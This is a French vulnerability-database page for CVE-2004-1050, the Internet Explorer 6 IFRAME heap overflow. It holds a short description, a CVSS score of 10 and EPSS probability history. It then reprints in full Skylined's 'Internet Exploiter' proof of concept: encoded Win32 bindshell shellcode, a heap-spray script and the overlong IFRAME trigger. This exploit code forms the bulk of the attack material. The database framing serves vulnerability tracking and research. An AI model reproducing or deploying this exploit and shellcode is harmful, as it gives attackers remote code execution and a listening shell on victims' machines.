CPE, qui signifie Common Platform Enumeration, est un système normalisé de dénomination du matériel, des logiciels et des systèmes d'exploitation. CPE fournit un schéma de dénomination structuré pour identifier et classer de manière unique les systèmes informatiques, les plates-formes et les progiciels sur la base de certains attributs tels que le fournisseur, le nom du produit, la version, la mise à jour, l'édition et la langue.
CWE, ou Common Weakness Enumeration, est une liste complète et une catégorisation des faiblesses et des vulnérabilités des logiciels. Elle sert de langage commun pour décrire les faiblesses de sécurité des logiciels au niveau de l'architecture, de la conception, du code ou de la mise en œuvre, qui peuvent entraîner des vulnérabilités.
CAPEC, qui signifie Common Attack Pattern Enumeration and Classification (énumération et classification des schémas d'attaque communs), est une ressource complète, accessible au public, qui documente les schémas d'attaque communs utilisés par les adversaires dans les cyberattaques. Cette base de connaissances vise à comprendre et à articuler les vulnérabilités communes et les méthodes utilisées par les attaquants pour les exploiter.
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Recherche de CVE id, CWE id, CAPEC id, vendeur ou mots clés dans les CVE
Heap-based buffer overflow in Internet Explorer 6 allows remote attackers to execute arbitrary code via long (1) SRC or (2) NAME attributes in IFRAME, FRAME, and EMBED elements, as originally discovered using the mangleme utility, aka "the IFRAME vulnerability" or the "HTML Elements Vulnerability."
Informations du CVE
Métriques
Métriques
Score
Gravité
CVSS Vecteur
Source
V2
10
AV:N/AC:L/Au:N/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
75.1%
–
–
2023-03-12
–
–
–
94.74%
–
2023-10-29
–
–
–
92.71%
–
2024-06-02
–
–
–
92.71%
–
2024-12-22
–
–
–
87.93%
–
2025-01-19
–
–
–
87.93%
–
2025-03-18
–
–
–
–
73.88%
2025-03-30
–
–
–
–
74.46%
2025-03-30
–
–
–
–
74.46,%
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Date de publication : 2004-11-01 23h00 +00:00 Auteur : Skylined EDB Vérifié : Yes
<HTML><!--
________________________________________________________________________________
,sSSSs, Ss, Internet Exploiter v0.1
SS" `YS' '*Ss. MSIE <IFRAME src=... name="..."> BoF PoC exploit
iS' ,SS" Copyright (C) 2003, 2004 by Berend-Jan Wever.
YS, .ss ,sY" http://www.edup.tudelft.nl/~bjwever
`"YSSP" sSS <skylined@edup.tudelft.nl>
________________________________________________________________________________
This program is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License version 2, 1991 as published by
the Free Software Foundation.
This program is distributed in the hope that it will be useful, but WITHOUT
ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
A copy of the GNU General Public License can be found at:
http://www.gnu.org/licenses/gpl.html
or you can write to:
Free Software Foundation, Inc.
59 Temple Place - Suite 330
Boston, MA 02111-1307
USA.
-->
<SCRIPT language="javascript">
// Win32 MSIE exploit helper script, creates a lot of nopslides to land in
// and/or use as return address. Thanks to blazde for feedback and idears.
// Win32 bindshell (port 28876, '\0' free, looping). Thanks to HDM and
// others for inspiration and borrowed code.
shellcode = unescape("%u4343%u4343%u43eb%u5756%u458b%u8b3c%u0554%u0178%u52ea%u528b%u0120%u31ea%u31c0%u41c9%u348b%u018a%u31ee%uc1ff%u13cf%u01ac%u85c7%u75c0%u39f6%u75df%u5aea%u5a8b%u0124%u66eb%u0c8b%u8b4b%u1c5a%ueb01%u048b%u018b%u5fe8%uff5e%ufce0%uc031%u8b64%u3040%u408b%u8b0c%u1c70%u8bad%u0868%uc031%ub866%u6c6c%u6850%u3233%u642e%u7768%u3273%u545f%u71bb%ue8a7%ue8fe%uff90%uffff%uef89%uc589%uc481%ufe70%uffff%u3154%ufec0%u40c4%ubb50%u7d22%u7dab%u75e8%uffff%u31ff%u50c0%u5050%u4050%u4050%ubb50%u55a6%u7934%u61e8%uffff%u89ff%u31c6%u50c0%u3550%u0102%ucc70%uccfe%u8950%u50e0%u106a%u5650%u81bb%u2cb4%ue8be%uff42%uffff%uc031%u5650%ud3bb%u58fa%ue89b%uff34%uffff%u6058%u106a%u5054%ubb56%uf347%uc656%u23e8%uffff%u89ff%u31c6%u53db%u2e68%u6d63%u8964%u41e1%udb31%u5656%u5356%u3153%ufec0%u40c4%u5350%u5353%u5353%u5353%u5353%u6a53%u8944%u53e0%u5353%u5453%u5350%u5353%u5343%u534b%u5153%u8753%ubbfd%ud021%ud005%udfe8%ufffe%u5bff%uc031%u5048%ubb53%ucb43%u5f8d%ucfe8%ufffe%u56ff%uef87%u12bb%u6d6b%ue8d0%ufec2%uffff%uc483%u615c%u89eb");
// Nopslide will contain these bytes:
bigblock = unescape("%u0D0D%u0D0D");
// Heap blocks in IE have 20 dwords as header
headersize = 20;
// This is all very 1337 code to create a nopslide that will fit exactly
// between the the header and the shellcode in the heap blocks we want.
// The heap blocks are 0x40000 dwords big, I can't be arsed to write good
// documentation for this.
slackspace = headersize+shellcode.length
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
// And now we can create the heap blocks, we'll create 700 of them to spray
// enough memory to be sure enough that we've got one at 0x0D0D0D0D
memory = new Array();
for (i=0;i<700;i++) memory[i] = block + shellcode;
</SCRIPT>
<!--
The exploit sets eax to 0x0D0D0D0D after which this code gets executed:
7178EC02 8B08 MOV ECX, DWORD PTR [EAX]
[0x0D0D0D0D] == 0x0D0D0D0D, so ecx = 0x0D0D0D0D.
7178EC04 68 847B7071 PUSH 71707B84
7178EC09 50 PUSH EAX
7178EC0A FF11 CALL NEAR DWORD PTR [ECX]
Again [0x0D0D0D0D] == 0x0D0D0D0D, so we jump to 0x0D0D0D0D.
We land inside one of the nopslides and slide on down to the shellcode.
-->
<IFRAME SRC=file://BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB NAME="CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC഍഍"></IFRAME>
</HTML>
// milw0rm.com [2004-11-02]